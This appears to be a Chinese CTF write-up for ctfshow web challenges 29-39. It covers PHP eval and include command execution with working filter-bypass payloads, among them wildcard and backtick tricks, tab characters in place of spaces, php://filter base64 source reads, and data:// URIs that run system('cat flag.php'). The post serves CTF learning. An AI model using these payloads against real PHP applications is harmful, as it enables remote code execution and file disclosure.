当前位置: 首页 > news >正文

ctfshow 命令执行 (29-39)

学习参考的

https://www.cnblogs.com/NPFS/p/13279815.html

说的很全面

web29

命令执行,需要严格的过滤

 源码

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

preg_match 函数用于执行一个正则表达式匹配。
这次的判断是不能出现 flag 字样,后面 i 意思不分辨大小写

通配符*:

匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *

/?c=system('cat f*');

查看源代码

web30

源码

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

只有system函数是有回显的,其他的函数可以通过echo等显示

这里采用反引号绕过

/?c=echo `cat f*`;

`命令`和$(命令)都是执行命令的方式

反引号``是命令替换,命令替换是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出。

web31

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了flag,system,php,cat,sort,shell,空格,单引号,.

空格绕过

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09

cat被过滤

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

payload:

?c=echo(`tac%09f*`);

 

web32

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了flag,system,php,cat,sort,shell,echo,分号,空格,单引号,括号,空格,`,

php中有许多不用括号的函数

<?php
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";
?>
 

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

用c=include"$_POST[x]"?>或者c=include"$_GET[x]"?>,这里用require也是可以的

总的来说感觉两个函数大差不差

    require 一般放在 PHP 文件的最前面,程序在执行前就会先导入要引用的文件;include 一般放在程序的流程控制中,当程序执行时碰到才会引用,简化程序的执行流程。require 引入的文件有错误时,执行会中断,并返回一个致命错误;include 引入的文件有错误时,会继续执行,并返回一个警告。

用php伪协议将include包含的文件在页面上显示出来

.convert.base64-encode       //base64编码

瑞士军刀

web33

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
} 

跟上面一道题差不多

但是因为这题多过滤了双引号,所以只能用数组形式绕过,把双引号去了

/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web34

这题比上面一题多过滤了分号,但是貌似无影响

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

跟上一题payload一样

/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 

web35

相比上面多过滤了>,但是也没用

payload

/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

问什么要进行 base64 编码呢?

如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了

web36

多过滤了数字

/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web37

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

include文件包含

使用data伪协议

把<?php system('cat flag.php');?>进行base64编码

/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web38

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

相比37多过滤了php和file

payload跟37一样

/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php"); }}else{highlight_file(__FILE__);
}

 include($c.".php"); //使用 include 函数将变量 $c 的值与 ".php" 拼接,然后作为文件路径包含(引入)对应的 PHP 文件

.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

/?c=data://text/plain,<?php system('cat f*')?>

这样就相当于执行了php语句<?php system('cat f*')?>.php

 

相关文章:

ctfshow 命令执行 (29-39)

学习参考的 https://www.cnblogs.com/NPFS/p/13279815.html 说的很全面 web29 命令执行&#xff0c;需要严格的过滤 源码 error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__); } …...

如何玩转CSDN AI工具集

前言 人工智能生成内容&#xff08;AIGC&#xff09;是当下最具有前景的技术领域之一。AI能够以惊人的速度和准确度生成各种类型的内容&#xff0c;完成文章翻译、代码生成、AI对话、插图创作等工作&#xff0c;带来了许多令人兴奋的机遇。 本文将介绍CSDN AI工具集的基本使用…...

软件测试/测试开发丨利用人工智能ChatGPT自动生成PPT

点此获取更多相关资料 简介 PPT 已经渗透到我们的日常工作中&#xff0c;无论是工作汇报、商务报告、学术演讲、培训材料都常常要求编写一个正式的 PPT&#xff0c;协助完成一次汇报或一次演讲。PPT相比于传统文本的就是有布局、图片、动画效果等&#xff0c;可以给到观众更好…...

Vue 正计时器组件

工作中遇到了一个时间正计时的功能。 另外涉及到有Vue父组件调用子组件中的data和method,作为记录。 下面贴代码~ HTML部分 <template><div class"timer"><div ref"startTimer">00:00:00</div></div> </template>JS…...

神仙打架!谷歌和OpenAI竞相推出多模式AI

原创 | 文 BFT机器人 随着秋季的到来&#xff0c;科技界正在展开另一场季节性活动——科技巨头谷歌和OpenAI正在竞相发布下一代多模态大语言模型&#xff0c;这些高级模型能够解释图像和文本&#xff0c;使他们能够执行诸如从草图生成网站代码或以文本形式描述视觉图表等任务。…...

MySQL 字符集

文章目录 1.简介2.支持的字符集3.字符集级别4.数据库字符集5.数据表字符集6.表字段字符集7.字符串常量字符集8.客户端字符集参考文献 1.简介 MySQL 支持多种字符集&#xff0c;使您能够使用各种字符集存储数据&#xff0c;并根据给定排序规则执行比较。 MySQL 服务器默认字符…...

java生成PDF的Util

java使用itext生成pdf-CSDN博客 接上文 支持绘制表格 支持表格中的文本 字体加粗、字体上色、单元格背景上色&#xff0c; 支持拼接文本 支持单行文本 多种背景颜色、字体上色 支持自定义水印 废话不说先上效果图 工具类代码 package com.zxw.文件.PDF.util;import com.…...

【openwrt学习笔记】新patch的制作和旧patch的修改

目录 一、参考资料二、使用QUILT工具添加补丁2.1 添加一个新的补丁2.2 编辑一个已存在的补丁2.3 补丁命名规范2.4 添加或修改内核补丁文件 三、使用diff 打补丁四、相关问题及解决方法4.1 make package/package-name/update Vs失败 一、参考资料 Working with patches 二、使…...

【GIT】Git clone https://xxx.git 报错仓库找不到,ssh却可以。

环境 MacBook Pro&#xff1a;13.0 (22A380)&#xff0c;Intel。 Python&#xff1a;3.10.9 序言 最近在Mac电脑中按照stable diffusion webUI 时&#xff0c;总是报&#xff1a; MacBook-Pro:openai yutao$ git clone https://github.com/AUTOMATIC1111/stable-diffusion-…...

Vue系列(三)之 基础语法下篇【事件处理,表单综合案例,组件通信】

一. 事件处理 在 Vue.js 中&#xff0c;v-on 指令被用于监听 DOM 事件&#xff0c;并在事件触发时执行相应的方法&#xff0c;这些方法就是事件处理器。v-on 指令有简写形式 &#xff0c;例如 click"handleClick" 会监听点击事件并执行 handleClick 方法。 事件处理…...

AI 编码助手 Codewhisperer 安装步骤和使用初体验

文章作者&#xff1a;为了自己加油 最近亚⻢逊云科技推出了一款基于机器学习的AI编程助手 Amazon Code Whisperer&#xff0c;可以实时提供代码建议。在编写代码时&#xff0c;它会自动根据现有的代码和注释给出建议。Amazon Code Whisperer与 GitHub Copilot 类似&#xff0c;…...

Python操作Elasticsearch

一、Python操作ES之基本使用 安装:pip3 install elasticsearch from elasticsearch import Elasticsearchobj = Elasticsearch() # 创建索引(Index) # result = obj.indices.create(index=user,ignore=400) # # print(result)# print(result) # 删除索引 # result = obj.i…...

面试打底稿② 专业技能的第二部分

简历原文 抽查部分 比较熟悉Nacos、Feign、SpringCloud Gateway等微服务的使用&#xff0c;有实际上手项目使用的经验&#xff1b;基本掌握Linux常用命令&#xff0c;了解Linux系统管理、网络管理、生产环境等必用服务&#xff0c;了解Docker的使用&#xff0c;在博客中多有关…...

java 对mybatis拦截Interceptor进行权限控制(条件修改),入参修改,返回修改

使用jsqlparser对sql解析拼装 基础准备 <dependency><groupId>com.github.jsqlparser</groupId><artifactId>jsqlparser</artifactId><version>4.5</version><scope>compile</scope> </dependency> <depende…...

鲲鹏+麒麟v10 sp1 打包tomcat

一、安装打包软件 yum install rpm-build yum install rpmdevtools 二、复制tar包 注意&#xff1a;如果要修改配置文件需要把tar包解压&#xff0c;修改tomcat配置文件 cp apache-tomcat-8.5.93.tar.gz /root/rpm-build/SOURCES 三、编辑/root/rpm-build/SOURCES/tomcat.…...

大屏大概是怎么个开发法(前端)

写在前面&#xff0c;博主是个在北京打拼的码农&#xff0c;从事前端工作5年了&#xff0c;做过十多个大大小小不同类型的项目&#xff0c;最近心血来潮在这儿写点东西&#xff0c;欢迎大家多多指教。 对于文章中出现的任何错误请大家批评指出&#xff0c;一定及时修改。有任何…...

什么是Selenium?使用Selenium进行自动化测试!

你知道什么是 Selenium 吗&#xff1f;你知道为什么要使用它吗&#xff1f;答案就在本文中&#xff0c;很高兴能够与你共飧。 自动化测试正席卷全球&#xff0c;Selenium 认证是业界最抢手的技能之一。 什么是 Selenium&#xff1f; Selenium 是一种开源工具&#xff0c;用于…...

第一章:最新版零基础学习 PYTHON 教程(第十七节 - Python 表达式语句–Python返回语句)

return 语句用于结束函数调用的执行,并将结果(return 关键字后面的表达式的值)“返回”给调用者。return 语句之后的语句不被执行。如果return语句没有任何表达式,则返回特殊值None。return 语句总体上用于调用函数,以便可以执行传递的语句。 注意: Return 语句不能在函数…...

前端碎知识点

1 统计字符串中每个字符出现的频率 const str fgasdfadfdasd;const result str.split().reduce((a, b) > {if (a[b]) {a[b];} else {a[b] 1;}return a; }, {});const resultNew str.split().reduce((a, b) > {// undefined&#xff0c;就是NaNa[b] || (a[b] 1);ret…...

【Leetcode Sheet】Weekly Practice 7

Leetcode Test 1462 课程表Ⅳ(9.12) 你总共需要上 numCourses 门课&#xff0c;课程编号依次为 0 到 numCourses-1 。你会得到一个数组 prerequisite &#xff0c;其中 prerequisites[i] [ai, bi] 表示如果你想选 bi 课程&#xff0c;你 必须 先选 ai 课程。 有的课会有直接…...

用Logisim从零搭建MIPS CPU:我的计组课设通关实录(附完整电路文件)

从零构建MIPS CPU&#xff1a;一位计算机系学生的Logisim实战指南 1. 为什么选择Logisim搭建MIPS CPU 作为一名计算机专业的学生&#xff0c;第一次接触计算机组成原理课程设计时&#xff0c;面对"用Logisim搭建MIPS CPU"这个任务&#xff0c;我既兴奋又忐忑。兴奋的…...

PyInstaller Extractor终极指南:5分钟学会提取可执行文件源码

PyInstaller Extractor终极指南&#xff1a;5分钟学会提取可执行文件源码 【免费下载链接】pyinstxtractor PyInstaller Extractor 项目地址: https://gitcode.com/gh_mirrors/py/pyinstxtractor 你是否曾经面对一个PyInstaller打包的可执行文件&#xff0c;想要查看其中…...

HS2-HF_Patch:3步完成Honey Select 2汉化去码与插件整合

HS2-HF_Patch&#xff1a;3步完成Honey Select 2汉化去码与插件整合 【免费下载链接】HS2-HF_Patch Automatically translate, uncensor and update HoneySelect2! 项目地址: https://gitcode.com/gh_mirrors/hs/HS2-HF_Patch 还在为《Honey Select 2》的游戏体验而烦恼…...

Arm DynamIQ架构缓存一致性协议解析与优化

1. Arm DynamIQ架构中的缓存一致性技术解析在异构计算架构中&#xff0c;缓存一致性协议是确保多核处理器高效协同工作的关键技术。作为Arm体系结构的重要组成部分&#xff0c;DynamIQ共享单元(DSU)通过AMBA ACE和CHI协议实现了灵活的系统级缓存一致性管理。这两种协议虽然设计…...

SSD1306 OLED屏幕驱动全攻略:从Arduino到CircuitPython实战

1. 项目概述如果你玩过Arduino、ESP32或者树莓派Pico这类微控制器&#xff0c;肯定遇到过一个问题&#xff1a;怎么把程序运行的状态、传感器的数据或者一些简单的交互界面直观地展示出来&#xff1f;用串口监视器看数据流当然可以&#xff0c;但不够“酷”&#xff0c;也不够便…...

如何在Windows上快速配置词法语法分析器:WinFlexBison完整实战指南

如何在Windows上快速配置词法语法分析器&#xff1a;WinFlexBison完整实战指南 【免费下载链接】winflexbison Main winflexbision repository 项目地址: https://gitcode.com/gh_mirrors/wi/winflexbison 你是否在Windows平台上开发编译器、解释器或配置文件解析器时&a…...

猫抓Cat-Catch:浏览器媒体资源捕获终极指南

猫抓Cat-Catch&#xff1a;浏览器媒体资源捕获终极指南 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 你是否曾遇到过想下载网页视频却找不到下载…...

Playwright自动化进阶:手把手教你用Yaml实现数据驱动,让测试用例管理效率翻倍

Playwright自动化进阶&#xff1a;手把手教你用Yaml实现数据驱动&#xff0c;让测试用例管理效率翻倍 当UI自动化测试用例数量达到三位数时&#xff0c;每次修改测试数据都像在代码海洋中捞针。我曾经历过这样的痛苦&#xff1a;某次产品迭代导致200多个测试用例中的URL全部需要…...

基于Docker的Firefox隐私浏览器camofox:容器化隔离与自动化测试实践

1. 项目概述&#xff1a;一个为隐私而生的浏览器最近在折腾一些需要高度隔离和隐私保护的自动化任务&#xff0c;比如社交媒体管理、数据采集测试&#xff0c;或者只是想在一个完全干净、无痕的环境里浏览特定网站。市面上的主流浏览器&#xff0c;无论是Chrome还是Firefox&…...

VSCode光标主题定制指南:从颜色令牌到扩展开发

1. 项目概述&#xff1a;一个为开发者定制的光标主题集合如果你和我一样&#xff0c;每天有超过8小时的时间都泡在代码编辑器里&#xff0c;那么你一定会对编辑器里那个千篇一律的、闪烁的竖线光标感到审美疲劳。warrenwoodhouse/cursors这个项目&#xff0c;就是来解决这个“小…...